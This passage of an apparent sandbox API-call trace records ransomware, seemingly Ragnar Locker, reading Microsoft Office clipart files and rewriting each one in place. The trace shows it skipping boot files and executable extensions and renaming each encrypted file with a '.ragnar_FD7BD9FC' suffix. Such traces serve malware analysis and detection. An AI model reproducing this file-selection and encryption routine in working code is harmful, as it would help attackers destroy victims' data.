lpOverlapped=0x0) returned 1 [0083.147] VirtualAlloc (lpAddress=0x0, dwSize=0x55ba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.147] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x55ba, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x55ba, lpOverlapped=0x0) returned 1 [0083.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.148] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x55ba, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.148] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x55ba, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x55ba, lpOverlapped=0x0) returned 1 [0083.149] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x55ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.149] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.149] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x55ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.149] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.149] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.149] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.149] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.149] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.149] GetProcessHeap () returned 0x580000 [0083.149] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.149] CloseHandle (hObject=0xf4) returned 1 [0083.149] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" [0083.149] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.ragnar_FD7BD9FC" [0083.149] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.150] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0083.150] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.150] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099165.JPG" | out: lpString1="J0099165.JPG") returned="J0099165.JPG" [0083.150] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned=".JPG" [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="autorun.inf") returned 1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="boot.ini") returned 1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="bootfont.bin") returned 1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="bootsect.bak") returned 1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="bootmgr") returned 1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="bootmgr.efi") returned 1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="bootmgfw.efi") returned 1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="desktop.ini") returned 1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="iconcache.db") returned 1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="ntldr") returned -1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="ntuser.dat") returned -1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="ntuser.dat.log") returned -1 [0083.150] lstrcmpiW (lpString1="J0099165.JPG", lpString2="ntuser.ini") returned -1 [0083.151] lstrcmpiW (lpString1="J0099165.JPG", lpString2="thumbs.db") returned -1 [0083.151] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.151] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.151] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.151] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.151] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.151] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.151] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 0x20 [0083.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.151] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=50490) returned 1 [0083.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc531, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.151] GetProcessHeap () returned 0x580000 [0083.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.151] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.152] VirtualAlloc (lpAddress=0x0, dwSize=0xc53a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.153] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.153] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.153] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc53a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc53a, lpOverlapped=0x0) returned 1 [0083.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.154] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc53a, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.154] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc53a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc53a, lpOverlapped=0x0) returned 1 [0083.155] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc53a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.155] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.155] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc53a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.155] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.155] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.155] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.155] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.155] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.155] GetProcessHeap () returned 0x580000 [0083.155] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.156] CloseHandle (hObject=0xf4) returned 1 [0083.156] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" [0083.156] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.ragnar_FD7BD9FC" [0083.156] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.156] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0083.156] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.156] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099166.JPG" | out: lpString1="J0099166.JPG") returned="J0099166.JPG" [0083.156] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned=".JPG" [0083.156] lstrcmpiW (lpString1="J0099166.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.156] lstrcmpiW (lpString1="J0099166.JPG", lpString2="autorun.inf") returned 1 [0083.156] lstrcmpiW (lpString1="J0099166.JPG", lpString2="boot.ini") returned 1 [0083.156] lstrcmpiW (lpString1="J0099166.JPG", lpString2="bootfont.bin") returned 1 [0083.156] lstrcmpiW (lpString1="J0099166.JPG", lpString2="bootsect.bak") returned 1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="bootmgr") returned 1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="bootmgr.efi") returned 1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="bootmgfw.efi") returned 1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="desktop.ini") returned 1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="iconcache.db") returned 1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="ntldr") returned -1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="ntuser.dat") returned -1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="ntuser.dat.log") returned -1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="ntuser.ini") returned -1 [0083.157] lstrcmpiW (lpString1="J0099166.JPG", lpString2="thumbs.db") returned -1 [0083.157] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.157] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.157] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.157] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.157] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.157] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.157] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 0x20 [0083.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.158] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=64767) returned 1 [0083.158] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfcf6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.158] GetProcessHeap () returned 0x580000 [0083.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.158] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.160] VirtualAlloc (lpAddress=0x0, dwSize=0xfcff, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.160] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfcff, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfcff, lpOverlapped=0x0) returned 1 [0083.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.162] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfcff, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.162] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfcff, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfcff, lpOverlapped=0x0) returned 1 [0083.163] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfcff, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.163] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.163] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfcff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.163] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.163] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.163] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.163] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.163] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.164] GetProcessHeap () returned 0x580000 [0083.164] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.164] CloseHandle (hObject=0xf4) returned 1 [0083.164] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" [0083.164] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.ragnar_FD7BD9FC" [0083.164] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0083.164] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.164] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099167.JPG" | out: lpString1="J0099167.JPG") returned="J0099167.JPG" [0083.164] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned=".JPG" [0083.164] lstrcmpiW (lpString1="J0099167.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.164] lstrcmpiW (lpString1="J0099167.JPG", lpString2="autorun.inf") returned 1 [0083.164] lstrcmpiW (lpString1="J0099167.JPG", lpString2="boot.ini") returned 1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="bootfont.bin") returned 1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="bootsect.bak") returned 1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="bootmgr") returned 1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="bootmgr.efi") returned 1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="bootmgfw.efi") returned 1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="desktop.ini") returned 1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="iconcache.db") returned 1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="ntldr") returned -1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="ntuser.dat") returned -1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="ntuser.dat.log") returned -1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="ntuser.ini") returned -1 [0083.165] lstrcmpiW (lpString1="J0099167.JPG", lpString2="thumbs.db") returned -1 [0083.165] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.165] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.165] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.165] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.165] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.165] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.165] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 0x20 [0083.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.165] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43949) returned 1 [0083.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.166] GetProcessHeap () returned 0x580000 [0083.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.166] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.167] VirtualAlloc (lpAddress=0x0, dwSize=0xabad, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.167] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.167] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.167] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xabad, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xabad, lpOverlapped=0x0) returned 1 [0083.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.169] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xabad, 